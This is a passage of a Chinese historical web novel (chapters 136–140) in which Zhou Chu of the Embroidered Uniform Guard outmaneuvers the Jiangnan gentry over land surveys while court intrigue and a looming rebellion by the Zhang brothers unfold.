倘若不是周楚早有预料,安排了锦衣卫保护她,再加上这些人并不清楚楚璃的真实身份,以为楚璃不过是周楚手下的一个普通商人,因此并未过于重视。 即便如此,楚璃也感受到了这突增的压力,这还仅仅是被波及,处在漩涡中心的周楚,此时面临的是何等狂风暴雨,楚璃都不敢想象。 楚璃早就清楚,自己的灭门之仇,背后不是某一个人,而是整个江南集团,当年江南集团要弄死先帝的阴谋被自己的父亲撞破,对楚家动手的不是别人,正是当时的礼部侍郎廖峰。 而周楚成为锦衣卫指挥使之后,第一个杀的不是别人,正是廖峰,这让楚璃和楚辉祖对周楚都无比感激。 同时他们又对整个江南集团无比痛恨,心甘情愿的为周楚冲锋陷阵。 楚璃对周楚的感情很复杂,周楚对她而言,亦师亦友,楚璃对周楚有崇敬,还有爱慕,不过自从楚家出了事之后,楚璃就将这份心思藏在了心底,再也没有表露过,她只想跟在周楚身边,以什么身份都不在意。 毕竟楚家已经没了,她已无需在意这些了。 此时的周楚正在华亭县的县衙,见到了两个他预料之外的人。 昌国公张鹤龄和建昌侯张延龄两兄弟。 周楚没想到这两位会出现在这里,不过倒也不难预料,当初崔文奎没了办法,想必会将这两人叫过来。 这两人又蠢又坏,无疑是很好的棋子。 除了这两人之外,还有几人,都是些从朝廷致仕的官员,有三品官致仕的,也有四品官致仕的,如今都七老八十,想来周楚这里倚老卖老。 “周大人,这丈量土地之事,本不该锦衣卫管吧?周大人是否僭越了?” 其中一个老头,手里拿着一个黄花梨的拐杖,一副说教的姿态看着周楚道。 “这位是?” 周楚一脸疑惑道。 “老朽陈经,曾恬为户部侍郎,如今赋闲在家。” 老头说这话的时候,满脸自傲道。 “原来是个赋闲的员外郎?那么本官倒想问一问,你这老头,无官职在身,以什么身份来质问本官?谁给你的胆气?本官如何做,是你能过问的吗?老了就回家好好养老,别到头来连老都养不了。” 周楚冷笑道。 这一通话夹枪带棒,丝毫没给老头面子,陈经顿时被气的半天说不出话来,一句话差点没上来。 “周大人未免太过牙尖嘴利,陈老不过是作为华亭县的百姓代表,来问问周大人为何如此不顾百姓死活,迫害百姓?” 昌国公张鹤龄接过话茬道。 “百姓代表?迫害百姓?” 周楚仿佛听到了天大的笑话,不禁笑出了声。 “他们代表的真的是百姓吗?还是代表的那些员外郎?欺压迫害百姓的到底是本官,还是他们?昌国公如此公私不分,是非不分,上来就如此质问本官,本官是否可以理解为昌国公收了他们的钱,来替他们说话?” 周楚可不惯着张鹤龄,直接怼了回去。 这一通话直接将张鹤龄怼的不知道该如何反击了,他本就是草包一个,刚才那些话,还是别人教他说的,周楚稍一反击,他便不知该如何反驳了。 “黄口小儿,信口雌黄!周大人如此做,就不怕引起江南动荡,朝局动荡吗?” 张延龄眼看自己的兄长被怼的哑口无言,当即站了出来和周楚对线。 “哦?建昌侯是在威胁本官,还是在威胁朝廷?难道建昌侯要聚众谋反不成?” 周楚眼神之中闪着寒光,瞥了一眼张延龄道。 第136章 周楚的嘴炮能力,被清算的华亭县,士绅们联合 “周大人未免太过危言耸听了吧?我等不过是想要一个道理,难道我大明就没有讲理的地方了?” 另一个老头一副老态龙钟的模样道。 “你他娘的又是哪根老葱?” 这次周楚没说话,而是给林鹿使了个眼色,林鹿跟着周楚这么久了,周楚一个眼神林鹿就明白什么意思,当即站了出来,指着这个老头的鼻子,毫不客气道。 “你!你!你!有辱斯文!有辱斯文啊。” 这老头被林鹿怼的差点一口气没上来,缓了半天也只说出这两句话。 “不好意思,我等是锦衣卫,不是文人,也不是文官,没读过什么书,和我们讲斯文还真讲不着。” 周楚不屑道。 “你!” 老头听到这话,气的手直抖。 “你什么你?这么大年纪了,不好好在家等死,还出来丢人现眼。” 林鹿刚才骂爽了,好不容易有这么一个自由发挥的机会,又怎么会放过呢? 放下个人素质,享受缺德人生。 林鹿突然想起自家大人经常说起的这两句话,此刻林鹿如同醍醐灌顶一般,突然领悟了这两句话的意思。 “我!” 老头此时被林鹿怼的是一句话说不出来,手哆嗦着气的好像下一刻就要死在这里一般。 最终,张鹤龄兄弟两人和这些老头如何嚣张的来,便如何灰头土脸的走了。 连带着那些倚老卖老的员外,一个个都被周楚骂的脸色铁青。 主要是周楚无所畏惧,说出的话荤素不忌,什么话都骂的出口,这些个老头哪里见过这等混不吝的,最关键的是,他们还没办法和周楚翻脸。 但凡他们敢翻脸掀桌子,周楚的人当时就把他们按下了,都省的再查了。 正所谓弱国无外交,这话放在现在这种局面上仍然适用,周楚手握兵权,掌握着锦衣卫,无论周楚骂的多难听,他们也只能忍着,还真没办法撕破脸。 这种局面,他们处于天然的弱势,来找周楚理论本就是错误之举,他们把周楚当成了那些腐儒,以为周楚会被他们绕进去。 来的时候信心满满,回去的时候想死的心都有了,毕竟这么大把年纪了,还在朝中当过官,德高望重,被人如此指着鼻子骂,如何绷得住? 大明平均每个县的耕地大致在四十万亩左右,但也只是平均,每个县的情况都不一样,山区的穷县耕地自然要少很多。 华亭县虽然全是平原,是数得上的富县,不过总体面积并不算很大,总面积也不过七十多万亩,耕地满打满算也就四五十万亩。 但被那些士绅和官员兼并的土地就高达三十多万亩,其他所有百姓才拥有十几万亩耕地。 兼并不可谓不严重。 其中兼并最多的,不是别人,正是跟着张鹤龄两兄弟来的那几个老头的家族,基本都是在他们入朝为官之时完成的侵吞。 这些人的家族,多的兼并了五六万亩耕地,少的也有两三万亩。 而且根据刘大漠的那本册子,这些家族隐藏的土地最多,少丈量的比例也是最多的。 原本这对他们不算什么大事,甚至觉得理所当然,整个华亭县都被他们视为后花园,予取予夺,直到周楚要清丈土地,他们才猛然惊醒。 整个华亭县,被官方记录在鱼鳞图册之中的土地,居然只有三十多万亩,被整整隐藏了十几万亩土地。 这十几万亩土地很快就被一一清丈了出来,而那些隐藏土地的士绅们,则一个个都被抓到了锦衣卫衙门,也不全抓,就抓个家主。 这些被隐藏的土地毫无疑问都被充公了,但周楚却不会如此轻易就放过这些士绅,按照隐藏土地的数目,每一亩罚款十两白银或高一成价值的铜钱。 明朝耕地在不同时期价格不同,在成化初年,一亩地不过五两银子左右,但到了成化后期以及弘治年间,耕地的价格开始暴涨,最高的时候涨到约五十两白银一亩。 后来在正德年间开始下跌,如今的耕地一亩的平均价格大概在二十两银子左右,当然价格会根据不同地区,好田差田有所不同。 周楚定下的罚款,正是根据耕地的价格考量的,太少了周楚看不上,十两一亩刚刚好,如此一来,十几万亩能罚一百多万两白银,虽然不多,却是白得的。 重点在于这十几万亩土地被周楚收了过来,土地才是根本,银钱说白了只是一堆数字,是人赋予它财富的意义。 除了这十几万亩土地之外,那些士绅们少丈量的土地加起来也有四五万亩,这四五万亩都加在了普通百姓头上,总体是不多不少的,这部分的罚款,周楚设置的更好一些,每少量一亩,罚款二十两白银或高一成价值的铜钱。 两项罚款加起来,就有两百多万两了。 这还只是华亭县一个县,松江府是江南最小的一个府,只有华亭县和上海县,因为这一块地区属于冲积平原,很多地区都是慢慢形成的,所以明初才设府。 而其他府,如苏州府,则有八个县,而且是八个极其富庶的县,每一个都超过了华亭县很多。 江南的整体财力,由此可见一斑。 华亭县所有的地都被清丈出来之后,那些被多量了地的百姓,纷纷来到锦衣卫衙门,为那千户送上万民伞,千户无比汗颜,哪里敢冒领这份功劳。 “诸位,这件事虽然是本官在做,却是周大人命本官做的,本官不过是听命行事,诸位要谢,就谢周大人。” 百姓们听到这话,纷纷打听周楚的名讳,很快就知道了如今整个江南的锦衣卫临时衙门,都是因为这位周大人的命令才设立的,周大人要做的便是为民请命。 但这万民伞已然是做好了,百姓们坚持送了出去,他们想找周楚也找不到,便在家中供奉起了周楚的长生牌位。 一时之间,周楚的贤名开始从华亭县向整个江南地区传播。 这一点倒是和京城截然相反。 造成这种结果的根本原因,不在于两地的百姓区别有多大,而是周楚在江南,本就是植根于底层百姓在做事,在京城又是另外一种做法,导致百姓不清楚真相罢了。 江南的这些士绅眼看着华亭县被清算了,再加上近期因为百姓的状告,无数士绅被抓被罚,严重的甚至被抄家,这些人自然不可能坐以待毙。 于是各府各县的豪绅纷纷派出代表按照约定前往江南商会,想要商议出一个对付周楚的章程。 一时之间,江南商会总部人声鼎沸,包括楚辉祖这些商人,一共有近百人。 躲了许久的崔文奎,此时也出现在了这里。 “崔大人还真是贵人事忙,关键时刻怎么找都找不到您。” 这些士绅之中的一个代表对崔文奎冷嘲热讽道。 关键他还真有这个资格说这话,因为这人是朝廷的二品大员致仕的,是崔文奎的恩师。 “老师,学生也是有苦难言啊,我大哥父女两人被那姓周的扣下了,他还拿着皇帝的圣旨逼着我签那份文书,我如果不签。。。。哎!” 面对自己的老师,崔文奎一脸苦色道。 之前崔文奎不解释,是因为明白这事刚一出,没人会听他的解释。 但如今事情发展到了这个地步,这些人还得指望崔文奎这个巡抚呢,自然也就听的下去了。 听到这话,众人脸色稍霁。 “既如此,那你便拿个章程,该如何对付这周楚。” 崔文奎的老师说道。 崔文奎听到这话,顿时一脸为难,他要是有办法对付周楚,也不会躲起来了。 不过此时他也清楚,自己必须得拿个主意。 “学生以为,让那昌国公和建昌侯去闹,他们拿了我们这么多资源和好处,自然得做点事。” 崔文奎将张鹤龄两兄弟引来,自然要让他们发挥作用。 一旁的楚辉祖则暗暗将这些话记在心里,准备回头想办法告诉周楚。 “要我说,不如让张鹤龄这兄弟两人造反,只要他们愿意造反,我们每一家都可以出人,多的不说,十万大军还是可以凑齐的。” 其中一个士绅有些不耐烦道。 显然他对崔文奎的主意不太满意,这两个草包不是没闹过,前些日子在华亭县已经闹过了,周楚搭理了吗? “我觉得这个提议不错,只要这两兄弟肯反,一切就都有转圜的余地了。” 其他人纷纷附和道。 第137章 张太后薨了,朝野震动 崔文奎看着神情亢奋的众人,原本想劝阻的话终究是没说出口。 崔文奎想说周楚一向善于利用这些造反事件,像之前的倭寇和那四五千私兵,都被周楚顺势借用了。 但崔文奎想了想,终究还是没说出口。 他好不容易才解释清楚之前的事,然在如果贸然说周楚如何如何,会被这些人怀疑其用心和立场,所以崔文奎不能多说,说多错多。 更何况这些人难道就真的认为造反能成功吗?就像之前宁王谋反,他们这些人也是鼎力支持,但从未有人真的认为宁王能成功。 所谓的谋反,不过是他们攫取利益的一种方式罢了,这个谋反的人可以是宁王,也可以是张鹤龄两兄弟,是谁并不重要,只要不是他们的人就可以。 这一点崔文奎看得清楚,这些老狐狸更看的清楚,甚至不用崔文奎提醒,一旦有开战的趋势,这些人首先就会将大半的家产和人转移,自然不会等着周楚趁火打劫。 他们这种人,从来都是狡兔三窟的,这一点,很多人在朝中为官的时候,便深谙此道。 崔文奎正是因为明白这个道理,才选择了闭嘴。 他很清楚,鼓动张家两兄弟造反,对他们而言就是一场豪赌,赌赢了,他们江南士绅集团的权势将会再上一步,在整个大明只手遮天,赌输了,无非是损失一小半家产和人。 对于这些人而言,别说是这点赌注了,只要给他们足够的利益,哪怕有可能让家族覆灭,他们也是敢干的。 只要利益够多,这些人的眼睛一红,也就想不了这么多了。 很快,周楚就从楚辉祖那里得到了这个消息。 得知这些人想让张家兄弟造反的时候,周楚非但没有生气,反而很高兴。 即便他们不这么做,周楚也有这种打算,因为周楚想要快速整合整个江南,就需要这么一把大火。 以前在京城的时候,周楚留着张太后,那时候怕两兄弟被这些人蛊惑的造反,因为那时候无论是皇帝还是周楚手中都没有兵权。 再加上当时人在京城,对江南的掌控力可以说几乎为零。 但现在不同了,周楚手中兵权在握,整个江南的局势可以说都在自己的掌控之中,无论发生什么,周楚都有信心收场。 很多时候,同一件事,在不同局势下,往往会造成截然不同,甚至完全相反的结果。 就像是同一个人,他的性格在他年轻的时候能成就他,他便认为自己的这个性格是自己成功的根本原因,于是便一直信奉自己的处事原则,还逢人就自夸。 但他不知道,他的这种性格,只是在当时的某个特定时期,特定环境,才能起到最好的效果,过了一二十年,周围的环境和一切都变了,他如果还按照自己的这种处事原则去做事,往往起到的是反效果。 很多人都不懂的辩证思考,正所谓成也萧何,败也萧何,同一个人和同一件事,能成就一个人,也能毁了一个人。 在京城的时候,周楚不想让江南发生叛乱,但现在不同,周楚知道江南商会这些人的想法之后,恨不得给他们加把火。 “这样,你告诉他,不是每家都要出人吗?我们也出人,到时候让他安插一百多人到张家兄弟造反的队伍之中。” 周楚看着负责和楚辉祖接头的暗桩说道。 接头这种事,自然不能周楚自己来干,太多人盯着周楚了,倘若周楚去接头,恐怕早就暴露了。 “对了,把初六调过去,让他看着安排,张鹤龄不是喜欢赌吗?” 周楚冷笑道。 安排完这些,周楚写了一封密奏,皇宫之中的张太后,也该动一动了。 京城,皇宫之中,嘉靖这些天就看着江南来的奏折高兴了。 最近半个月,江南弹劾周楚的奏折如同不要钱一般,在内阁都快堆积如山了,杨一清和杨慎等人经过筛选之后,将其中一些比较具有代表性的呈给了嘉靖,其他大多数内容基本相同的,也就直接作废了。 这些天朱厚熜看着江南的这些弹劾周楚的奏折,在御书房嘎嘎乐,这些人将周楚说的越是妖魔化,越是言辞犀利,朱厚熜越是高兴,因为他清楚,越是这样,说明江南这些人越着急。 这便是朱厚熜想看到的局面。 至于办周楚?开什么玩笑?没看现在一车车的财物往京城拉吗?整个大明,一千个官员加起来在朱厚熜心中都比不上一个周衡器的分量重。 像这种一个人几乎把所有事都办了的臣子,纵观整个有明一朝,哪个皇帝有过?也就自己了吧? 每每想到这里,朱厚熜都极为得意。 在他看来,周衡器最难能可贵的是,他永远知道该说什么话,该做什么事,懂进退,有分寸,很多事甚至不需要自己去考虑,周衡器就为自己考虑到了,而且所言所行,从不逾矩。 比如当初周衡器提出要几个太监帮他养马的时候,朱厚熜就极为高兴,太监是什么人?那不都是皇帝的人吗?周衡器此举无疑是在主动将皇帝的眼线放在自己身边。 后来周楚前往苏州府,准备练兵,特意去德清公主那里要了林鹿林廌两兄弟,这一点朱厚熜也清楚,为此还特意嘱咐了自己的姑姑,但凡周衡器的要求,无有不允。 这等臣子,让朱厚熜想起了唐朝的郭子仪,但在朱厚熜看来,周衡器远远强于郭子仪。 “陛下,周大人的密奏。” 黄锦一路小跑来到御书房道。 “快!快!朕要看看衡器说了些什么。” 嘉靖满脸兴奋道。 从黄锦手中接过密奏,嘉靖急忙打开,看到密奏的内容,脸色一变。 “这些人简直是无法无天。” 说完这话,嘉靖继续看密奏,很快脸色转喜。 “不愧是衡器,妙啊,此计甚妙。” 看到精彩处,嘉靖恨不得拍两下书案。 “黄锦,你去将宁寿宫贴身伺候太后的几个婢女叫过来,朕有话交代他们。” “是,陛下。” 黄锦听到这话,再看嘉靖那藏都藏不住的喜色,心中猜想应该是周大人要有大动作了,想到这里,黄锦不敢怠慢,脚下加快了脚步。 两日后,宫中传出消息,昭圣慈寿太后张氏突然在御花园赏花的时候,不慎落入荷花池之中,染了风寒。 陛下得到消息之后勃然大怒,将宁寿宫伺候的宫女痛斥了一顿,随后便安排了太医院新任职的御医前往宁寿宫为太后治病。 没人知道,为何太后会在三四月份的天气去赏花,京城三四月份的天气最不稳定,冷的时候冷死,偶尔也会很暖和。 现在这个月份,御花园的花应该还没开吧?很多人心里这么想,却不敢说出来。 张太后本身岁数就不小了,再加上太医不小心开错了药,太后是寒症,应该开热性的药,太医偏偏开的是寒性的药,如此一来,太后的病情更是雪上加霜,坚持了半个月的时间,昭圣慈寿太后张氏薨了。 此消息一出,朝野震动,百官无比伤心。 江南那些豪绅们得到这个消息,纷纷大喜过望。 “真是天助我也。” 这些豪绅纷纷涌入张鹤龄在苏州府的家中。 “昌国公节哀啊,太后被皇帝迫害而死,昌国公不如反了吧。” 原本正在府上和新纳的小妾玩耍的张鹤龄听到这话,顿时傻眼了。 “啊?” 第138章 各方谋划,新的宝船下海,王阳明惊了 张鹤龄骤然得知张太后薨了,整个人也很懵,随即而来的便是难过。 他难过不是因为自己的姐姐死了,而是失去了最大的靠山。 张鹤龄虽然又蠢又坏,但他还算有些自知之明,明白自己能有现在的一切,之前那么多事没被查办,都是因为自己有这么一位姐姐。 突然得知张太后薨了的,整个人如同被抽掉了脊梁一般,变得茫然无措。 就好像一个一直被大人庇护的孩子,突然失去了所有的庇护,出现在阳光之下,再无遮掩。 “国公大人,京城传来的消息是太后因为在御花园赏花,不慎落水,这种鬼话谁能信?京城这个时节有什么花可以赏?” 之前在华亭县县衙被周楚怼的哑口无言的老头陈经,此时仿佛在设身处地的为张鹤龄着想一般,为他剖析真相。 实际上这些破绽正是嘉靖故意留的,他要做的就是大家面上都过得去,却又能让人察觉到不对,如此一来,张鹤龄兄弟便有了足够的造反理由,不造反也不成,正所谓兔死狐悲。 张太后都死了,朝廷会放过他们这对兄弟吗? 这便是阳谋,一切都摆给你看,你却只有造反这么一条路可以走。 无论是江南士绅们,亦或是周楚和嘉靖,都希望张家兄弟造反,这两兄弟俨然已经成为了双方的棋子,造反的命运早已注定,甚至失败也是注定的。 不同之处在于,江南士绅们想通过这场造反尽量闹的大一些,届时周楚和朝廷不好收拾局面了,他们再出面解决,便可以让整个江南士绅集团在朝堂上掌握更大的话语权。 而周楚和皇帝则希望通过这场叛乱,大幅度削弱江南士绅,倒也没指望将这些人全灭了,但只要削弱一半,这些人就需要时间恢复元气,短时间内不敢太跳。 周楚很清楚,即便此时将这些人全灭了,经过一段时间之后,又会出现新的士绅集团,这个阶层是消灭不完的。 只需要不断地抑制就可以了。 “啊?造反?” 张鹤龄显然被这两个字吓到了,差点跌倒,得亏被他的小妾扶住了。 “国公大人不必惊慌,如今朝堂诡异,皇帝显然是要对昌国公和建昌侯你们二人动手,否则也不会对太后动手了,国公倘若不想身首异处,便只有造反这一条路可以走。” 陈经继续劝说道。 “陈老此言差矣,怎么能是造反呢?明明是太后被迫害而死,如今的皇帝被奸臣所惑,国公大人不过是清君侧罢了。” 旁边的另外一个老头摇头晃脑道。 陈经听到这话,一拍脑袋。 “对对,是我老糊涂了,清君侧,清君侧。” 张鹤龄直到此时,脑瓜子都是嗡嗡的,他的大脑完全处理不了如此密集的信息,不过陈经等人并不着急,他们干脆在张鹤龄的这个苏州府别院的客房住下,毕竟造反这种事,无论是谁,都无法很快下决心的。 只要他们日复一日的劝,帮张鹤龄两兄弟剖析利害,张经等人相信,这两兄弟只有造反这条路可以走。 与此同时,周楚出现在了船坞之中,前面几个月,船坞的规模经过了大范围的扩张,同时造船的工匠又招收了不少。 整个船坞可以同时造四艘宝船,产能相较之前提高了很多。 今天正是船坞新造出来的四艘宝船下水的日子,对于船坞这么高的效率,周楚有些意外,不过想想永乐年间,郑和的宝船船队有两百多艘,也就释然了。 倘若造船的效率太低的话,穷尽永乐一朝,恐怕也造不出两百多艘宝船。 最新造出来的四艘宝船,因为有了云瑾从南洋弄过来的那些木材做龙骨,船体比之前的那一艘要大的多,每一艘的体量都在之前的两到三倍,但这还远不是极限,而是周楚要求船坞先尽快造出来几艘宝船,船坞的工匠们才选那些不算是特别大的木材做的龙骨。 这四艘宝船上该有的配置,周楚都安排上了,子母炮,燧发枪以及水手等等。 有了这几艘宝船之后,云瑾率领的军队便可以进一步扩张了。 不过扩张的也只是普通军队,像玄武军和虎贲军这种,即便再扩张也是有限的,因为这种特种部队,每一个士兵养起来都是极其费钱的,注定不能有太多人。 现在的人数就刚刚好,再多了的话,皇帝恐怕就睡不着觉了。 哪怕嘉靖再信任周楚,但如果周楚有着随时可以掀翻整个大明的军队的话,那就另当别论了。 一个人一旦有了可以无视一切的力量,所谓的忠诚,所谓的信任都显得极为脆弱,作为皇帝,不可能将希望寄托于臣子对自己的忠心而不会造反。 如果真有这样的皇帝,那他肯定不是一个合格的皇帝,历史上无数事实证明,这种皇帝,往往最后会被赶下皇位。 周楚准备让云瑾扩充一些普通士兵,交给王直来训练,对于王直,云瑾在信里和周楚提过,而且上次对阵倭寇,王直表现出了极高的战场素养,这让周楚对之前的计划愈发有信心了。 新招募和训练的普通士兵和军队,未来主要着眼于东瀛本土,让王直率领他们扎根东瀛,逐渐统一东瀛。 如此一来,将来大明到东瀛的货物,如生丝,在东瀛本地的定价权便到了自己手上,赚的大头也到了自己手上。 当然,王直身边还要再安排一个人,此人用来担当皇帝和周楚的眼线。 林廌再合适不过了。 之所以选择王直,是因为周楚通过历史,大致清楚,此人能控制住野心,哪怕建立了宋伪政权,心里想着的仍然是被大明招安。 这个世界上,有能力的人有很多,但是在特定条件下,还能控制住自己的野心不让他无限膨胀的人却是少之又少。 这四艘宝船的下水,并没有引起太大的轰动,因为此时整个苏州府,甚至整个江南的目光都不在这里,而是聚焦在了张鹤龄两兄弟那里。 再加上之前那些海盗团被玄武军歼灭之后,这些江南士绅以及江南商会顿时意识到了一个问题,那便是海上的商路已经失去了掌控。 以及近日传来消息,黎朝的大王居然举国归附大明了,这消息一出,对江南集团的打击是致命的。 以前他们都是通过陆路,将货物运往黎朝,然后通过黎朝的出海口出海走私,这条路一直都无比稳定。 整个东南沿海最大的出海口就在黎朝,大明境内的码头和出海口不是没有,但管控的很严格,虽说他们金钱开道,每年也会被查处不少走私的商船。 所以对他们而言,黎朝的那个出海口才是他们的命脉,如今黎朝被朝廷控制,也就意味着他们的命脉和三寸被朝廷拿住了。 周楚就是因为看准了这一点,才会如此着急收复安南的。 原本的历史上,嘉靖收复安南,为的就是湄公河的出海口,嘉靖也很清楚,只有掌握了这条出海口,才有了和江南士绅集团谈判的资本,才能真正的开海禁。 嘉靖一朝,其实都在为开海做准备,直到他的儿子继位,在嘉靖做好铺垫之后,终于有了隆庆开关。 如今的江南士绅可以说是被周楚和朝廷逼的无路可走了,所以才如此着急的想要张鹤龄兄弟造反。 清丈土地,只不过是由头之一罢了,真正的原因在这里。 王阳明得到张太后薨了的消息之后,顿时意识到江南要有大事发生,而且此事极有可能是周楚和皇上谋划的,不过一想到百姓可能因此受到战火洗礼,王阳明顿时就坐不住了,单人匹马,从南京直奔苏州府而去。 他要知道更多的细节,如此一来才能确保百姓的损失降低到最低。 第139章 放下心的王阳明,心动的昌国公 周楚再次见到王阳明,仍然是在唐伯虎家。 虽然明面上王阳明已经接管了江南省的兵权,但他毕竟是南直隶的巡抚,只身一人出现在苏州府,如果贸然去找周楚,难免会引起有心人的注意。 无论是出于自身的安全考虑,还是其他方面,在唐府见面都是最好的选择。 “阳明先生是因为太后的事吗?” 周楚看着面前风尘仆仆的王阳明,也不卖关子,直奔主题道。 王阳明听到这话点了点头。 “衡器,此事恐怕是你谋划的吧?” 王阳明见到了周楚,反而不急了,喝了口茶道。 至于唐伯虎,倒也懂得避嫌,他很清楚,无论是自己的这个学生亦或是王阳明,如今的身份都非同一般,一言一行恐怕都牵扯到无数人。 王阳明只身前来,还没去周楚府上,那必然是极为隐秘的大事,这事自己要是听了,那还能有好? “老爷,王大人为何不去衡器府上?” 芸娘眼看着唐伯虎走了过来,便把小徐渭交给了他的生母。 这些日子以来,徐渭的生母在唐府宛如做梦一般,再也不用为人浆洗衣服,也不用像以前在徐府的时候,动不动就要被夫人打骂,整个唐府,上到唐伯虎芸娘,下到那些下人,对她都是极好的。 因此她内心对周楚愈发感激,她很清楚,自己母子两人能有今日的一切,全都是拜那位年轻的大人所赐。 “伯安身份特殊,是南直隶的巡抚,前段时间还接管了江南省的兵权,如果让其他人知道了伯安只身一人出现在苏州府,对他而言很危险,很多人盯着他手中的兵权呢。” 唐伯虎这些年跟在周楚身边,也熏陶出了一些政治觉悟。 他和芸娘说这话的时候,特地回到了自己的厢房,只有两人的时候才说的。 芸娘听到这话,顿觉恍然。 “阳明先生所料不错,实际上学生也只是顺水推舟罢了,江南的这些豪绅们也是被逼急了,清丈土地倒也不至于把他们逼到这种地步,主要是陛下收复了安南,掌握了安南的出海口。” 周楚笑道。 王阳明听到这话,点了点头。 对于江南商会的货物通过哪里走私,王阳明大致是知道一些的,原本也只是猜想,现在得到了周楚的确认。 “如此说来,昌国公两兄弟还真得造反,大明身上长了脓疮,需要适时挤出来,这倒是个好机会,这次不让他们弄,他们还会寻找其他机会,与其如此,不如将这件事诱发出来,如此,一切尚在可控范围之内。” 王阳明瞬间就看透了这件事的本质。 “没错,既然不可避免,不如趁着这个机会将张太后以及昌国公兄弟二人一并解决了。” 周楚咧嘴一笑。 “只是此次整个江南的豪绅恐怕都会出手,这些人哪怕每个人出几十私兵,都能轻易凑齐十万大军,衡器可有把握?” 王阳明欲言又止道,他想说的是可有把握不伤及百姓,但仔细想想,这个要求很难实现。 “阳明先生是心系百姓吧?” 周楚明知故问道。 “没错,倘若这场叛乱真的爆发,百姓恐怕会被战火荼毒。” 王阳明叹了口气道。 “阳明先生不必担心,我手上还有一支王牌部队,人数虽然不多,却不比整个江南省的驻军战力差,关键时刻可以轻松完成斩首,结束这场叛乱。” 周楚自信道。 “只不过现在需要让这把火烧起来,烧的越旺越好,猴子始终是猴子,刚开始不敢跳,但怂恿的人多了,他便觉得自己行了。” 王阳明听到这话,眼睛顿时亮了,他不禁想起了之前发生在苏州府的倭寇叛乱以及那四五千私兵的事件,很显然这两件事都是江南商会主导的,但结果却让他们损失惨重。 王阳明一直都看不清周楚手中掌握着什么,就连沈炼也因为需要保密,未曾向他透露过一丝一毫。 现在听到周楚这么说,王阳明心里顿时有了底。 “如此甚好,看来是我杞人忧天了。” 王阳明笑道。 “阳明先生心系百姓,学生心中一直都是十分敬佩的,学生以茶代酒,敬先生一杯。” 周楚说着端起茶杯,一饮而尽。 “既如此,我便不在苏州府久留了,我只身前来,不宜长待。” 王阳明说完便起身向周楚行礼告辞。 周楚回了一礼,起身跟了出去,目送王阳明翻身上马。 “派些人手,沿途护送阳明先生。” 周楚看着身后的沈炼道。 沈炼听到这话,心中很是感动,毕竟王阳明是他的老师,当即去同时暗中隐藏的那些锦衣卫,派出一二十人暗中护送王阳明。 “衡器,伯安走了吗?” 唐伯虎看到周楚出现在自己的院子之中,问道。 “是的老师,阳明先生让我代他向你告别。” 周楚笑了笑,说道。 “这老小子,还在乎这些俗礼。” 唐伯虎满不在乎道。 张鹤龄的别院的客房,此时已经住满了人,全是那些豪绅的代表和江南商会的代表,其中就包括楚辉祖。 此时的张鹤龄脑子已经转过圈来了。 “诸位,造反可是诛九族的大罪,我哪有那个本事啊。” 张鹤龄一脸苦色道。 “我的国公大人,你怕什么?只要你肯干,我们都会给你出人出力出钱,别的不敢保证,顷刻之间就可以凑齐十万大军。” 陈经语重心长道。 张鹤龄听到这话,原本还有些惶恐的脸色瞬间怔住了,有些不可置信的看着陈经等人。 “陈老此言当真?” 不可否认,这一刻张鹤龄心动了,由不得他不心动,他也清楚,什么都不做肯定是坐以待毙,皇帝不会放过他们兄弟俩,他们两个以前做的那些事,杀十次都不够。 以前有张太后为他们擦屁股,一次次为他们将抹平,但此时张太后都薨了,即便张鹤龄不太聪明,也清楚皇帝肯定会清算他们。 “自然当真,张国公不必担忧,你只需要把事情吩咐下去,交给下面的人去办就好了。” 陈经循循善诱道。 “可我不会领兵打仗啊。” 张鹤龄不自信道。 “张国公此言差矣,想当初汉高祖刘邦刚起兵的时候,也不会打仗,打仗这种事,多打两次就会了,没什么难的,更何况我们还会派出会兵法的人来帮国公大人。” 陈经还没回答,旁边另一个老头直接说道。 听到这话,张鹤龄愈发心动了。 第140章 严嵩的困惑,周楚的解决方案,初六成为总兵 苏州府堤坝在修筑之前,严嵩特意找了苏州府负责水利的官员询问过意见。 不过这些官员大多尸位素餐,没什么真本事,这些人提的意见,即便是严嵩都看的出来不可行。 因为此时,严嵩还找过周楚,周楚对水利也是一窍不通,于是就让严嵩按照原有的堤坝修筑就可以了。 至于昆山,还得继续充当泄洪区。 这让周楚想起了一个人,大明最出名的水利专家,潘季驯。 可惜,此人和徐渭一个年龄,去年五月份才刚出生,现在注定帮不上忙。 不过有一点周楚是很清楚的,河道如何变,汛期来临的时候,总要有地方要充当泄洪区的,以这个时代的技术,这是不可避免的。 那就先让昆山充当泄洪区吧,等到以后潘季驯成长起来,再把这个问题交给他。 至于昆山县的这些流民,周楚自有安排。 很快,一个新的布告让参与修筑堤坝的流民都兴奋了起来。 布告的内容很简单,但凡参与修筑堤坝满两个月的百姓,都可以以十两银子一亩的价格从锦衣卫所购买上好的良田。 如若钱不够,或者没钱,也可以用他们昆山县的地契置换相当于原本土地八成的良田耕种。 至于这些地,仅仅崔文山一家的就能解决大半了,剩下不够的,整个苏州府量出来的隐田加上也就够了。 张鹤龄最终还是没忍住诱惑,在暗中秘密开始为造反开始谋划。 为了让他更放心,这些士绅们还特地为他在比较偏的崇明县安排了一块极大的场地练兵。 崇明县本就是冲积平原,在元朝正式建州,洪武年间撤州立县。 如今的整个崇明县匪盗横行,许多靠水吃饭的帮派都在此立足,可谓是真正的三不管地区,相当混乱。 这其中很多帮派背后都有这些士绅们的扶持,所以这里对张鹤龄而言,是绝佳的练兵之地。 “这里注定是国公大人将来的龙兴之地。” 陈经一句话,让张鹤龄瞬间上头了,他甚至已经开始幻想自己登上皇位改朝换代的场面了。 此时他的弟弟张延龄也在旁边,对于造反这件事,他即便是想反对,也想不出理由反对,左右不过是个死,不如拼一拼。 这一点,他倒是比张鹤龄干脆许多。 眼看着张氏兄弟答应了,整个江南的士绅有钱的出钱,有人的出人,士绅们每一家出十到五十人不等,江南商会的富商则多一些,每一家出一百到两百人不等,一时之间,居然凑足了十几万人。 这些人都是家中养着的私兵或者恶奴。 楚辉祖则按照计划将一百多个虎贲军和初六安排了进去。 原本是想安排锦衣卫的,但一百多个锦衣卫,在苏州府难免会遇到一些认识的人,容易穿帮。 虎贲军则没有这个忧虑,整个苏州府,没人认识他们。 张鹤龄所谓的练兵,也只是每日松松散散的训练一两个时辰,张鹤龄兄弟两人都嫌累,受不了,后面干脆交给手下的人,他们自己则享乐去了。 他们二人都不在意,底下的人更不在乎了,能偷懒就偷懒,这些都是各家各院的恶奴,一个个都有不少恶习,很多人吃喝嫖赌样样精通。 